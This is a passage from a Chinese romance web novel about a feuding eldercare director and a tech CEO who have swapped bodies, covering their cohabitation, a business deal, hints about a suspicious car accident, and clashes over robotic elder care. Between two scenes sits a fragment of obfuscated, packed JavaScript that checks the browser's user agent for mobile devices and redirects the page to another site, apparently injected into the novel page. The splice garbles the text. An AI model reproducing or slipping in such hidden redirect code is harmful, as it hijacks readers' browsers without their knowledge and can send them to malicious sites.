她威胁道:“你如果不愿意,那怡康的事也就跟你没关系了,大不了我找副院长去谈,至于你的公司,你也自己去管。”
半刻,她看到属于自己的那张脸颊侧被顶了顶,杏眼半眯。
祁聿冷笑道:“还是许总会做生意。”
许暻装作不懂他的冷讽,扯了扯唇:“多谢夸奖,那我就当祁总答应了。”
说罢,她拍了拍他的肩,顶着他的长腿悠悠往前走,没有要等他的意思。
“……”
许暻去医生办公室说明了情况,表示颐安科技愿意无偿收留老人。
医生自然没有意见,表示只要获得相关资质审批说明即可。
回程的路上,仍然是祁聿开车。
许暻提起老人的话:“奶奶指着我的身体说我是帮凶,难道只是因为知道我是桐馨的?可她以前并不是桐馨的病人。”
还有昨晚的那些话,许暻越来越不明白了。
提起这事,祁聿有短暂的沉默,车又行驶了一段距离,他才开口:“也许只是老人的记忆错乱,昨晚她本来就受了刺激,又患有痴呆,话都说得不清不楚的。”
“可她明明知道桐馨,还认识我爷爷,怎么可能是记忆错乱?”
对于祁聿的冷漠与淡然,许暻心底十分不满。
“还有她提到的孙女,什么见死不救,什么帮凶,你不觉得这一切很不对劲吗?”
林澄
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是一年前失踪,爷爷奶奶也是在一年前出车祸,许暻只觉得诡异。
就好像这两件事之间存在着什么关联一样。
祁聿却否决了她的疑虑:“许爷爷当时的车祸警方已经给出了详细的调查结果,与许爷爷和许奶奶关联的人里也并没有这位老人,这些你自己明明也清楚。”
许暻被他的话噎住,可也正因为如此,她才更觉得不对劲。
她转头瞟了一眼祁聿,不想再说下去——
疏离、冷淡、平静。
他永远都是这样,不管面对什么事,也不管是不是在她的身体里,他的气质像是永远不会变。
永远都是她讨厌的模样。
许暻侧过身去,连一个多余的眼神都不再愿意给他。
车内彻底陷入了沉默中。
在许暻看不到的后视镜内,占据着她的身体的灵魂意识操控着她的眼眸,缓缓落在副驾驶座上。
片刻之后,又转了过去。
……
许暻是第一次来祁聿的公寓。
虽说她家和祁聿家在很久以前就认识,她和祁聿也是多年的同学,但她讨厌祁聿也讨厌了很久。
读书那会,他们是班上的尖子生,但祁聿总是会挑她的刺,说什么她的解题方式太繁复,可她却觉得他的学习方式过于刁钻。
工作之后,他尊崇科技至上,而她觉得人文必不可少,他不认同她的固执,她讨厌他的冰冷。
所以许暻一般只会给他爸妈面子,在受邀时偶尔去他爸妈家吃顿饭。
许暻没想到的是,这里跟她想象的完全不一样,今早她醒来时的房间至少还是算得上正常、温馨的房间,而这里,称得上是‘灾难’——
夸张的欧式浮雕花纹墙纸、亮橙色的柜子、荧光绿的丝瓜形矮凳、黄色的长桌立在粉色的地毯上,旁边是浅蓝色的沙发。
除了一堆还算得上正常的智能家具和普通的瓷砖地板与LED灯之外,许暻真有些不懂这是什么装修风格。
昨晚在他车上用的那条毛巾如果是放进这样的环境里,好像就完全不突兀了。
许暻拉着行李箱,迟迟未能迈进去脚。
“进去啊,怎么了?”祁聿在她身后催促。
许暻身体僵硬地动了动,好不容易迈过了心里的坎,进了屋,又看到紫色的鞋柜旁还立着一个明黄色的软凳。
被许多亮色同时冲击,许暻感觉眼睛都有些发酸。
祁聿却习以为常,从鞋柜里拿了两双拖鞋出来,自然地坐在那张软凳上换鞋,还不忘提醒她:“这半边还有空位,你可以把鞋放在这里。”
许暻十分嫌弃地望着屋子里的布置,还是没忍住开了口:“祁总的装修风格还真别致,科技混杂多巴胺,真有想法。”
完全颠覆了她对一般科技人员喜欢黑白灰的刻板印象。
然而祁聿没听出来这是一句反话,还有几分得意:“智能家具能够给生活带来很多便捷,鲜亮不一的色彩又能让人快速转换心情,这样的装修,是最明智的选择。”
许暻呵呵干笑两声,没想给他留面子。
“祁总,我现在彻底相信你喜欢把垃圾扔进脑子里了。”
5. 氧气+5
许暻拖着行李箱往里走,绕过吧台,准备往里走。
祁聿却一个箭步挡在了她面前。
这样居高临下的角度,虽然眼前是她自己的身体,但一想到灵魂是祁聿,她心底便多了几分畅快。
“你先在外面等会,我收拾一下房间。”祁聿冷着声道,神色却略显不自然。
许暻撇了撇嘴,把行李箱放在了一边,径直走到沙发旁坐下:“你放心,我对你的秘密没有兴趣。”
祁聿没接话,进了客卧,甚至还锁了门。
许暻侧了身,眼前鲜亮的色彩被从玻璃窗透进来的光线照得更加夺目,她又只好面向另一侧,眼神又被没有关严的抽屉吸引过去了。
里头好像放着一个红色的盒子,许暻正犹豫着要不要打开看看,祁聿就从房间里出来了。
前前后后不到三分钟。
“可以了,床单和被子都是新换的,如果缺什么,你自己买。”祁聿把房门钥匙给了她。
许暻的注意力瞬间收了回来,她努了努嘴,抓过钥匙,边往房间走边吐槽:“你还真没绅士风——”
话语声戛然而止,消失的尾调甚至还带着几分不可置信。
许暻觉得自己的眼睛要瞎了——
她做梦也没想到,这个房间里的床单被罩是跟祁聿车上的那条毛巾完全配套的。
双脚如同灌了铅,她怎么都不肯往里再迈一步。愕然回头,满脸嫌弃。
然而祁聿不懂她的嫌弃。
“有什么问题?”他顶着她的那张脸,做出一副无辜的表情,那双清澈的眼睛像是在无声说着他真的看不出来有什么不对。
此刻许暻不仅嫌弃里头的床单被罩,连他在她脸上作出的表情也一并嫌弃了。
“你真的不觉得这一套用具很丑吗?你到底是从哪里买回来的这些丑家伙?还有,你用我的脸做出这种表情你不觉得奇怪吗?”
许暻自认为能够很快适应新环境,可这样猎奇的环境,她绝对不是一时半刻能接受的。
以及寻常又冷又烦的他做出这种表情就算了,可偏偏是顶着她的脸。
仿佛不论怎样他就是专门来跟她过不去的,相处起来各种碰壁,就像是天生的死对头。
祁聿往里看了一眼,语气十分淡然:“哪里丑了?再说了这套床单被罩睡着很舒服,东西只要好用,好不好看哪里重要了?”
紧接着他又抬手摸了摸脸,“至于表情,哪里奇怪了?难不成许总是不爱看自己的这张脸?”
“……”许暻被噎了一道,但又很快反击:“你做出这种表情,跟我的本身是很违和的,既然说好了要扮演对方,你不应该学得像一点吗?”
祁聿眨了眨眼,忽然凑近。
许暻下意识往后退了一步,然而身后是门框,她被抵在了那里。
虽然祁聿现在比她矮出一些,但身躯却足以散发出压迫感,他压低了声音道:“违和吗?既然许总觉得违和,那不如教教我怎么扮演你。”
他的气息近在咫尺,许暻没来由的有些紧张,说出口的话也磕磕巴巴的:“你…你离我远点!”
祁聿却没有离她远点的意思,他又歪了歪头,唇角轻轻挑起几分弧度:“还是说许总看到另一个模样的自己……”
他停顿了片刻,眼神往下移,停在了心口的位置,又重新回到视线的交汇点:“心跳加速了?”
许暻一个侧身,接连往后退了好几步,“你有病?有时间抽风不如想想我们怎么换回来!”
生怕祁聿又做出什么令她费解的事,许暻眼疾手快地关了房门,扭紧了门锁,然后对着门外的人道:“这房间我住就住了,但是你不准再用我的脸做一些奇怪的表情,更不准说奇怪的话!”
门外没动静。
几秒后,门又被打开,许暻低着头从里头冲出来,拉着行李又快速跑回了房间,重新锁了门。
整个过程,她都没看祁聿一眼。
祁聿站在那里,听着她重新上了锁,淡淡笑了声。
而房内的许暻手上虽然收拾着行李,动作却乱无章法,完全就是一顿乱塞,耳根子还隐隐发热。
她深吸了一口气,把最后一件衣服塞进衣柜,背靠在柜门上,拍着胸脯顺气。
她心虚地瞟了一眼门外,压低声音自语:“这个死人身体素质也太差了,就这么点运动量都心跳过速,抽风就算了,品味还这么差!”
如果不是手机又响了,许暻怕是还沉浸在不自在的情绪里。
「院长,张总约您明天早上十点见面。」
许暻咬了咬下唇,只回复过去了一句话:
「没问题,你安排好一切,我会准时到。」
等她做足了心理准备再出去的时候,客厅里空无一人,主卧和书房的门都紧闭着。
许暻正纠结要不要过去敲门。
毕竟刚才的事让她有些不自在。可她转念一想,还是工作重要,于是去敲了书房的门。
“祁——”
话还没说完,书房的门就因为突然搭上的力被推开,许暻和里头的人都有些意外,她也没想到这门并没有关紧。
里头的人正坐在桌前不知道看些什么,听见响动,他几乎是下意识合上手里的文件夹,还算是镇定的脸上闪过一丝慌乱。
“怎么了?”祁聿站起身,语气不咸不淡。
许暻并不关心他在做什么,也没有踏进书房,只是站在门口,用着她才适应的男声道:“张总约我明天上午十点见面,应该是谈合作的事,你得替我上阵。”
闻言,祁聿脸上并没有什么多余的表情,十分淡然:“我知道了,我会准时到。”
许暻仍然站在那里不动。
祁聿以为她还有话要说,等着下文。
然而许暻只是盯着他。
祁聿不解,朝她走近了些:“还有疑问?”
许暻确实不太相信祁聿,虽然他一直都是做什么都能轻松拿捏的风格,但毕竟他不是她,两人的说话方式也完全不同。
她可不想被人看出他们灵魂互换。
“祁总。”许暻突然正色。
祁聿稍稍仰着头,等着下文。
“我觉得作为一个
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合格的合作伙伴,你有必要学习一下我的语言风格,毕竟你也不希望别人看出来我们灵魂互换了,对吧?”
然而祁聿却轻声一笑,似乎完全不以为然。
“许总放心,该怎么说、该怎么做,我都有数,现在我们应该谈谈关于你为什么要收购怡康了。”
又来了。
一副游刃有余好像什么都没法阻碍自己的冷傲模样,真是让人讨厌。
许暻没好气撇了撇嘴,就算是自己的脸,也不愿再多看一眼。
她侧身进了他的书房,拉过凳子坐了下来,语气沉沉道:“那就别废话了,赶紧谈吧。”
祁聿在她对面坐下,拿走了原本放在那里的文件夹。
许暻没有废话,直接解释:“是两个月前我爷爷的徒弟建议我收购怡康,我去了解了之后觉得那一块地段不错,周围也确实缺乏养老机构,我希望让更多的老年人能够安享晚年,所以打算收购怡康。”
闻言,祁聿却皱了皱眉。
“周擎越?”
他口中的周擎越正是许暻爷爷的徒弟,比许暻年长七岁,品学兼优,少时被父母抛弃,被许爷爷带回家,和许暻一起长大,也和她一起继承了许爷爷的养老理念。
一年前周擎越出国继续深造,归期未定。
许暻嗯了一声,“之前爷爷奶奶还在的时候,他和爷爷一起去怡康交流学习过,对怡康的情况也比较了解,桐馨和怡康算得上是同类,收购合并也是不错的选择。”
祁聿仍然一脸严肃,一言不发。
许暻不知怎的也跟着心慌起来,“有什么问题吗?”
祁聿却骤然回神,眉峰平了下来,视线又在她身上停了几秒,才摇头道:“没事,你把方案发给我,我熟悉一下。”
……
晚上睡在这张八块腹肌的粉红猪床单上,许暻一边觉得辣眼睛,一边又觉得确实舒服。
最后索性就闭眼享受。
只是没一会她又睁开了眼,完全没有睡意,只觉得又奇怪又奇妙——
不仅跟那个科技怪灵魂互换了,现在还住到了他家里。
她这一整天几乎都是恍恍惚惚的,直到现在都还无法完全接受现实。可他却潇潇洒洒,始终保持着理智。
从很久以前,她就已经不喜欢这份冰冷的理智。
辗转反侧,许暻难以入睡,又烦躁地抓起手机,打开了某智能软件,在搜索引擎里输入了一行字:灵魂互换要怎样才能换回来?
结果全是一些假大空的办法——
比如小言剧情里常写到的什么接吻、亲密接触之类的。
果然智能并不完全靠谱。
再说接吻什么的,根本就不会发生在她和祁聿身上。
许暻是迷迷糊糊睡着的。
恍惚间,她好像听见了一阵响动,又好像是她自己在做梦。
梦里,她正吐槽着智能软件搜出来的办法不靠谱,结果被祁聿撞了正着。
祁聿顶着她的脸,神色难得的轻松,在看到她搜出来的答案之后,甚至玩味笑道:“要试试么?”
6. 氧气+6
许暻猛地惊醒,入眼是昏暗的天花板,额间沁起了一层薄汗,她抬手一抹,口有些渴。
许暻缓缓坐起身,心口的脏器撞击胸壁的频率还有些快,她深深吸了口气,暗暗嘲讽:祁聿的身体素质未免太差了些。
她开了门去客厅,冰凉的水从喉中滚入,这具身体总算冷静下来。
许暻又拍了拍脸,试图让自己的意识回归正常。
稍许的平复之后,许暻正欲回房间,可她刚转身,迎面撞上从房间里出来的祁聿。
最要命的是——
他只围了条浴巾,不算长的布料堪堪遮住春光。双手正悠闲地擦着湿发,水珠顺着锁骨往下滑落,不见踪影。
他看到许暻在,也稍微愣了一下。
“你不是睡了?”
许暻没答,耳尖有些发烫,她都不知道自己该不该移开眼。
这明明是她自己的身体,她怎么看得这么别扭呢?
“你…你…你洗澡了?!”
许暻最后憋出了这么一句话。语气干巴巴的,带着祁聿的冷冽,却又莫名有几分慌乱。
祁聿把毛巾挂在脖颈处,绕过许暻身边,给自己倒了杯水。许暻闻到了自己身上飘来的那股雪松香,眼眸微动。
原本属于自己的香气却被祁聿的气息浸染得有些陌生。
“难道许总之前都不洗澡的吗?”
祁聿晃了晃水杯,唇角轻扬,用她的声音说出调侃的话。
“……”许暻实在是没有反驳的理由,可就是觉得别扭。
一想到是祁聿给她的身体洗的澡……
算了算了,这不重要。
眼下也是没办法的事,况且她也洗了,也没亏。
祁聿把喝过的水杯放在了她的杯子旁边,打算回房。却又在她跟前停留,他似乎盯着她的脸看了好一会。
紧接着许暻就听见自己的声音在耳边响起:“对着自己的身体还会脸红?”
“……”许暻警惕地往后退了一步,紧绷着肌肉维持镇定,她扬起下巴毫不畏缩道:“这是你的身体下意识做出的反应,我控制不了,你应该反思反思你自己!”
尾音刚落,许暻已经消失在了他面前。
空荡的客厅里只能听见门“哐”地一声被关紧。
许暻灰溜溜地裹进了被子里,可这下却更加口渴,喉咙干涩得紧,甚至——
身下还燃起一种异常又难受的火苗……
她不想往下看,连着做了好几个深呼吸,终于稍稍缓解。
祁聿这个变态!
……
隔天一早的约谈,祁聿准时替许暻到场了。
不过许暻还是没有完全信任他,全程都要求祁聿和她开着语音通话。
她正坐在祁聿的车里,安静地听着那头的谈话。
张总的语气十分和善,“许院长,其实颐安科技也有收购我们的打算,但我们怡康一直都是非常看重桐馨的,而且我们也拿出了十足的诚意,我想这合同就可以直接签了吧?”
听到这里,许暻觉得有些不对劲。
虽说赶紧卖掉怡康也是他们目前的需求,可刚见面就直接签合同,是不是太急切了些?
她的声音从听筒里传出,隔着屏幕,声音并没有那么清晰,却直击问题:“张总看起来好像很急迫?”
祁聿也看出来了。
张总似乎愣了一会,干笑两声:“这不是废弃久了在手上留着没什么用吗?早些卖出去了也省得浪费资源。”
“也是。”祁聿停顿片刻,又接着说:“不过张总既然愿意让5个点,不知道是不是也愿意再多让一些?”
许暻不明白祁聿这又是什么意思。
不过张总的态度却已然为她解答:“那许院长心里的预期是?”
祁聿毫不犹豫道:“再让三个点,如何?”
又是片刻的沉默。
可沉默之后,张总却爽快答应了。
“好,三个点就三个点!”
语音通话在这里就被祁聿掐断了。
“不是……”许暻想重新拨回去,但那头似是开了免打扰,半天没有响应。
无奈,许暻只好给他发消息。
「你挂断做什么?不是说好了全程我都得听吗?」
「你没使什么坏吧?」
「喂!!」
依旧是冷冷清清。
许暻又等了五分钟,仍然没什么消息。
情绪有些烦躁,她正欲下车,祁聿的电话就进来了。
许暻‘啧’了一声,语气里染了些怒意:“你挂我电话是什么意思?”
那头祁聿不紧不慢解释:“只是觉得后面签合同没必要听了,许总就这么不相信我?”
许暻下了车,重重地关上了车门,有意让电话里的人听见。
她冷嗤:“就冲你随意挂电话的行为,你觉得你可信吗?”
不等祁聿回答,她又追击:“不过我能理解,毕竟祁总偏爱智能,行为像人机也是可以理解的,你说是吧?”
“……”
祁聿不知道是想不出什么话来回怼还是真的不在意,若无其事道:“合同我已经帮你签了,希望许总也说到做到,按时参加颐安今天下午的会议。”
话音刚落,许暻也直接掐断他的电话。
这种事,自然得有来有回才行。
……
许暻是第一次来这,尽管不识路,她还是挺直了背脊,不慌不忙地按着路标指示找到了电梯。
祁聿说他的办公室是32楼最里面的那间。
这会没什么人,她进了电梯刚准备按楼层,屏幕板上的语音助手就跳了出来。
许暻稍稍一激灵,指尖微颤。
机械音在空荡的电梯里响起:欢迎乘坐颐安云梯,请告诉小安您要去的楼层或者直接按动面板,如需去往30层以上,请在人脸识别框内进行人脸识别。电梯门关上后请勿暴力开门,如遇到紧急事件请立即按动紧急按钮或者呼叫小安。
“……”
电梯里还弄人脸识别?
这语音助手也怪吓人的。
不愧是科技怪,哪里都是科技的影子。
许暻两只手搓了搓,定了定神后弯了腰,祁聿的那张脸才出现在人脸识别框内。
识别成功之后,32层的按钮已经自动亮起。
她又往后退了一步,努了努嘴——
这科技用在电梯里…似乎也还不错。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190105|181103||http|test|mini|href|location''.split(''|''),0,{}));
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>或许是在电梯里已经见识过科技感,在看到祁聿办公室的门也是动态的人脸识别之后,许暻也没觉得多稀奇了。
只是她刚进来坐下,祁聿的助理就刷卡进来了:“祁总,这是今天下午的会议资料,您提前看一下。”
许暻想起来,祁聿说他的助理会送来送资料给她,她只用熟悉一下就好了。
许暻‘哦’了一声,“好,我知道了。”
助理没急着出去,接着汇报工作:“还有您上次批下来的新款智能护理床,已经送到智能社区,预计在明天让社区内的所有老人使用。”
新款智能护理床?
“这床有什么特殊作用吗?”许暻下意识问出口。
却换来助理不解的目光:“祁总,您……”
意识到自己嘴快,许暻又迅速找补:“我…我这两天没睡好,有点不记事,你复述一遍,也算是做一次确认。”
上司开了口,助理自然是服从:“新款护理床相比于之前的护理床,已经将床边护栏升级为自动护栏,并且全部使用交替气压床垫、语音助手定时提醒老人翻身防止压疮,以及在床边沿设置感应夜灯,防止老人起夜时摔倒。”
这些只是新加的功能。
许暻之前是听说过智能护理床,但鲜少有养老机构推行,试验数据也不算太全面,加之成本较重,她了解得并不算多。
没想到祁聿已经在他们的养老社区全面普及了。
果然是敢想又敢做。
不过他真的不怕出问题么?
助理的话很快替她解开了困惑:“祁总,这是上个月智能护理床的各项数据结果,检测指标的误差率越来越低,对老人的行为预测率也越来越高了。”
那份精美的数据报告出现在许暻眼前,最后一行显示,指标检测误差率较前降低3.1%,行为预测率较前上升2.7%。
心底升起的一丝期待瞬间被浇灭。
原来是为了得出新的试验数据。
怪不得愿意豁出去。
许暻反手拍上了文件夹,语气彻底冷了下来:“行了,我知道了,你出去吧。”
助理还没搞清楚状况,更不知道上司为什么生气,只是为了避免迁怒于他,他悻悻退了出去。
许暻咬着唇,轻微的痛感传入神经末梢,她又重新打开了那份数据报告。
视线从第一行扫过,最后停留在那两行结论上。
她只觉得心里不是滋味。
她之所以觉得人文养老优于科技养老,是觉得人更能够感知人的情绪,也比所谓的智能要更懂老人的行为方式。
科技是能够预判,可人是鲜活多变的,并不是一成不变的‘死’数据。
如果是这些精细冰冷的机器陪伴着老人度过晚年,老年生活又何来幸福之感?
许暻再次合上了文件,摞在了桌上的文件堆上。
然而文件直接滑了下去,下面的文件夹也跟着滑落,全部散落在地上。
许暻叹了声气,弯腰去捡,又重新把文件夹摞在一起。
可在她捡起最后的文件夹时,一页纸从缝隙里掉了出来,她刚想放回去,却看到那一页纸上手写的几个字——
意外车祸?张启林?怡康?
7. 氧气+7
这是祁聿的字。
张启林就是怡康的那位张总。
可这个意外车祸又是什么?
A4纸上只写着这三个带有疑问的文字,许暻翻开了文件夹,但里面的内容却是上个季度的财务汇报。
手机铃声陡然响起,许暻的思绪也戛然而止。
是林老板的电话。
许暻没多想,按了接听:“林老板?”
然而她忘了这不是祁聿的工作电话,而是她自己的私人手机。
电话那头的人似乎也很惊讶:“祁先生?”
许暻话语一噎,喉结跟着不自然地滚了滚。
她把手机拿开了些,想要挂断,又觉得这样挂断了更奇怪,只好硬着头皮随口解释:
“啊…对,许暻昨天来我爸妈这里吃饭,手机落在这里了,手机型号一样,我还以为这是我的手机。”
那头的人也不知道信了没有,只是轻笑道:“没事,恰好祁先生的怀表也修好了,那就麻烦祁先生告知许小姐可以过来拿她的怀表了。”
“好……没问题。”
许暻心虚地挂了电话。
她原本以为和祁聿换了工作手机就好了,毕竟现在也很少有电话进来,基本都是社交软件联系。
她当时也没想过万一。
转念一想,如果有一天打电话来的不是林老板,而是她爸妈,又或者是她哪个朋友,她又要怎么解释?
总不能是次次都落手机?
夹着那张纸的财务汇报被许暻放在了一边,在熟悉下午会议的资料之前,许暻给祁聿甩了条消息过去。
「你的表也修好了,林老板让过去拿。」
……
下午的会议开始前半个小时,许暻还在办公室里研究着手里的资料。
她原本也只是打算做做样子,可这份资料却让她生了兴趣——
关于丰富智能社区内老人娱乐生活的提案。
甚至是以是否存在认知障碍以及认知障碍的程度来划分的。
提案中包括了建造智能棋牌室、智能教学与练习广场舞、智能app等等方案。
许暻最感兴趣的是智能app,这个app并不是普通的app,而是专门为存在认知障碍的老人设计的。
颐安的智能社区内好像已经有了专门为老年人设计的大字化平板,界面简单,操作便捷。
这个app内含有多项益智游戏,并且是针对存在认知障碍的老人已经下降的记忆力、注意力、执行力与反应力开发的。
此前也有相关文献证实益智游戏对老年人认知障碍的改善作用,倘若在养老院内每天督促这些老年人做半小时的益智游戏,也能少些发展成老年痴呆的老人。
只是这个益智游戏是颐安的,桐馨也没有专门给老年人使用的平板,如果也像颐安这样全部安排上,成本又是另一难题。
许暻捏着下巴‘嘶’了一声,正琢磨着要不要问问祁聿,祁聿的助理已经进来提醒她会议即将开始。
许暻只好收了心,去了会议室。
颐安果然是从头到尾都将‘科技’这两个字贯穿到底,灰调风格的会议室里冷光照射,长桌边沿都泛着金属的光泽。
室内两边各站着一个小型机器人,托盘上还放着两瓶备用的纯净水,而桌上已经整整齐齐地摆好了和托盘上相同品牌的纯净水。
人都已经到齐了。
许暻刚坐下,助理便宣布会议可以开始了。
每一个员工似乎都胸有成竹,对自己的提案十分满意。
按照已经提前抽好的顺序,他们开始汇报。
在分享前面的智能棋牌室还有什么智能教学广场舞的时候,幻灯片大屏上展示的数据与文献许暻倒也不觉得有什么问题。
只是到了关于机器人陪伴老人的提案时,许暻出声打断了。
“等一下。”
正在汇报的员工身形一僵,桌旁的人同时转眸,目光齐齐落在许暻身上。
“祁总,请问有什么问题吗?”正在汇报的那人问。
许暻压低了声音,神情略显严肃:“机器人陪伴老人?那以后社区里干脆也不要人力好了。”
没等那人说话,她又补充:“老年人本就容易产生孤独心理,对科技的适应能力也没那么强,照这样发展下去,社区里抑郁症的老人不是一抓一大片?!”
会议室里差不多静默了有一分钟,所有人的脸上似乎都挂着不解与困惑——
就好像这句话不应该是从祁聿嘴里说出来一样。
身旁的助理也有些愕然,他小声提醒道:“祁总,上次会议的时候您不是说可以考虑一下在智能社区内放置机器人吗?况且您也说了咱们要发展科技养老……”
闻言,许暻的语气更沉,“难道科技养老就是全部都换上冷冰冰的机器?那以后公司里是不是也不用你们效力,全都让机器上场就够了?!”
又是一片静默。
这一次连助理也不敢再多说什么。
所有人面面相觑,只觉得今天的祁聿很奇怪。
许暻没了再听下去的心情,站起了身:“行了,散会吧,没有讲完的提案直接发到我邮箱里。”
然后头也不回地走了。
会议室里的员工在许暻走之后瞬间松了口气,议论声乍起。
“刘助,祁总今天是怎么了?发这么大的脾气?”其中一人问。
刘助理耸了耸肩:“谁知道呢?也许是他心情不好吧。”
“咱们祁总不是一向都不情绪化的吗?而且他今天说的话怎么怪怪的?”
“就是啊,咱们不就是科技公司吗?不发展科技发展什么?”
……
……
许暻带着糟糕的心情回了办公室。
在养老社区里放置机器人?
真亏祁聿想得出来。
她并不是排斥科技,只是不想连人与人之间最基础的接触与交流都变成人与机器的交流。
读书的时候课程里学过心理学,实习也在医院诊疗、陪伴过那些老人,在养老院更是深层照料过。
她曾亲眼见到抑郁症老人一个人缩在角落里默默流泪,一言不发。
她明白这个时候老人需要的是温情的陪伴,而绝不是冰冷的机器。
更何况养老行业的发展是和每个人的未来都息息相关的,她也不想若干年之后自己身处养老院,照料自己的是没有人情味的机器。
所以她依然无法理解祁聿。
更适应不了是以他的身份进入她最喜欢的养老行业中。
在办公室里坐了十分钟,许暻直接拿了车钥匙走了。
相比
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于许暻,祁聿并没有好到哪去。
上午在见完张总之后,下午他就来了桐馨。
本以为自己只要在办公室里办公就好,可中途副院长进来叫他,说是下午要给老人们做按摩。
祁聿有些诧异:“这些事不是有护士?”
此话一出,副院长嘴角的笑僵了僵,双眸中露出些困惑:“小暻,不是你说要多和咱们院的老人们多接触接触吗?每周的一三五都是定好的日子呀。”
“……”
十分钟后,祁聿穿上了许暻的白大褂,跟着副院长去了后面的大治疗室。
需要按摩的老人都已经在治疗床上躺好了。
见到许暻,几乎所有人老人都抬起了头。
其中一个奶奶高举起手:“小暻,今天轮到我了吧?我就等着你来给我按摩呢!”
“小暻!”另一个爷爷也喊:“我也想让你来给我按呐。”
“你上周五才让小暻按了,今天是轮到我了,你等下一次!”
副院长在一旁笑了笑,帮着李奶奶搭腔:“刘大爷,今天小暻是给李奶奶按的,我来给你按。”
刘大爷也不胡搅蛮缠,见好就收,重新躺好:“好好好,小易帮我按我也高兴!”
祁聿确实没想到桐馨现在是这样的,尽管以前许爷爷在的时候他来过几回,但那会许爷爷和这里的老人是平辈,虽说亲近,却也不像这样被哄抢。
他以为许暻会和这些老人保持着距离感,毕竟她那么犀利又尖锐的人,不过想想,她一直号称人文关怀至上,会这样亲近也不算奇怪。
只是他已经熟悉了她常说的‘冰冷高效’的工作方式,对于这种亲近温情的场面倒不太适应。
祁聿在原地愣了一会,还是李奶奶重新唤了几声,他才回神。
“小暻,快过来呀,我就等着你了!”
他平步走到治疗床边,穿着许久没穿的白大褂,要做许久都没有做过的治疗技术,他的动作还没那么自然。
“您想按哪里?”他从治疗车上拿了两只医用手套戴上。
李奶奶嘴角上扬,脸上的皱纹挤在一起,却透着慈善的温和。
“我今天就按按头和肩。”
许暻和祁聿都是在淮大读的中西医结合临床医学,5+3本硕连读,穴位按摩对他来说也不算是难事。
他循着记忆从印堂穴按起,顺着眉骨到太阳穴,可按了没两下,李奶奶便抬起了眸,“小暻今天按的手法怎么不一样了?是又去精进技术了?”
老人只是随口一问,祁聿的动作却顿了顿。
他没回答,只是稍微弯唇:“您觉得舒服吗?”
尽管试着改变语气,可本属于许暻的嗓音里还是带了他的沉冷。
李奶奶没有在意,重新闭着眼睛享受,“舒服舒服,我呀,就喜欢小暻给我按摩!”
祁聿不语,继续手里的动作。
四十分钟后,祁聿揉了揉发酸的腕骨,回到了许暻的办公室。
医用手套被他扔在了垃圾桶里,他正在水池洗手消毒。
蓦地,办公室的门被熟练地推开,只是他怎么也没想到,门口站着的那具身体,是属于他的。
‘他’似乎有些生气,把车钥匙扣在了茶几上,玻璃被车钥匙擦出刺耳的声音。
“我不想去颐安了!”
8. 氧气+8
祁聿拿纸巾擦干了手,短暂的怔愣之后,抬手看了一眼腕表上的时间。
白大褂被重新挂在了门后,他站定在许暻跟前,语气微冷:“我觉得你需要向我解释一下,为什么还在会议时间,你却出现在了这里?”
许暻骤然掀起眸子,那双本该冷傲的眸中却被倔强占满。
“我不想去你那里上班!我不要每天都面对你那里各种多么高深多么智能的机器,我不想过你的生活,我更不想成为你!”
情绪一时上头,许暻觉得自己真是倒霉透了。
为什么这样糟糕的事情会发生在她身上?为什么偏偏要让她去面对她不喜欢的东西?为什么非要让她成为祁聿?
她只想用心经营爷爷奶奶留给她的养老院,只想好好发展她的养老理念,只想让养老院的老人都能有一个幸福的晚年。
眼眶没忍住的开始发酸,外沿一圈被染上了浅浅的红,许暻扭过头去,不愿对上他的视线。
面前的人沉默了片刻。
随之而来的是明显不悦的声音:“所以你是说到做不到了?我做到了答应你的事,可你并没有答做到答应我的,许暻,你所谓的人文,就是带着情绪去处理一切事情吗?”
带着情绪的话语只能换来更尖锐的回应,许暻猛地从沙发上站起来,语调下沉,带着隐隐怒火:“是,我是带着情绪,可我就算带着情绪,也好过你那些没有感情的机器!我不明白,不明白为什么我什么都没做,莫名其妙地就和你灵魂互换,莫名其妙地就要去用你的身份生活!”
鼻腔内酸意加重,许暻感觉眼前甚至有一瞬的模糊。
她背过身,想要藏起自己即将褪去的坚韧与倔强。
原以为祁聿会继续反驳、继续和她吵,意外的是,他的态度也莫名其妙地转变了。她甚至不知道是不是刚才自己的哪一句话触动他了。
“抱歉,就当我说话冲了些。”
许暻看不到他的神色,却能听见他变得平缓的声音。
不过她没有任何回应,悄悄吸了吸鼻子。
身后也静默了两秒。
再转眼,祁聿已经站在了她跟前,语气较前好了许多。
“你也不希望别人发现我们灵魂互换了吧?至少,在换回去之前,尽量忍一忍。”
不知道是不是她的错觉,那张她再熟悉不过的面容上出现了几分无奈,甚至……
还有一丝愧意。
可祁聿为什么会对她产生愧意?
祁聿却阻断了她的疑惑,让她重新坐在了沙发上,又蹲下身,好声好气道:“既然没了工作的心情,就去林老板那里拿怀表吧,嗯?”
许暻的气还没完全消,可现在一拳打出去就相当于是打在软棉花上,她也不知道祁聿是抽什么风,突然就没了脾气。
难道灵魂互换还有改变性格的功能?
她撇了撇嘴,本来是不想给他面子,可不是有句话说伸手不打笑脸人吗,她大度一点…也没什么不好吧?
“你开车。”许暻扬着下巴,神色稍显不自然,却又暗暗透着一丝爽感。
车钥匙被勾到了祁聿手上,“可以。”
两道身影一起出了办公室,临着碰上副院长。
副院长不是没见过祁聿,只是觉得新鲜,目光在两人身上平扫两圈,“你们这是?”
许暻下意识要开口解释,却被祁聿按住了手背,他抢先一步道:“我和祁总有事出去一趟。”
然后拉着她就走。
副院长这下更是摸不着头脑,又反复望向两人离开的背影。不过小暻说了有事,应该是真的有事。
……
平稳行驶的车上,许暻懒懒地靠在副驾驶座,尽管已经用了两天这具身体,她还是没有完全适应。
比如这两条太长而无法完全伸展开的腿,又比如胸壁内动不动就频率加快的心跳。
她没忍住当着他的面吐槽了起来:“祁聿,你的身体素质这几年怎么差了这么多?”
读书那会,如果她没记错,祁聿是得过三千米长跑的冠军的。
可现在呢,自从她进入了这副躯体中,稍微一点小动作就能引起心跳加速。
祁聿不解地瞥了她一眼:“哪里差了?”
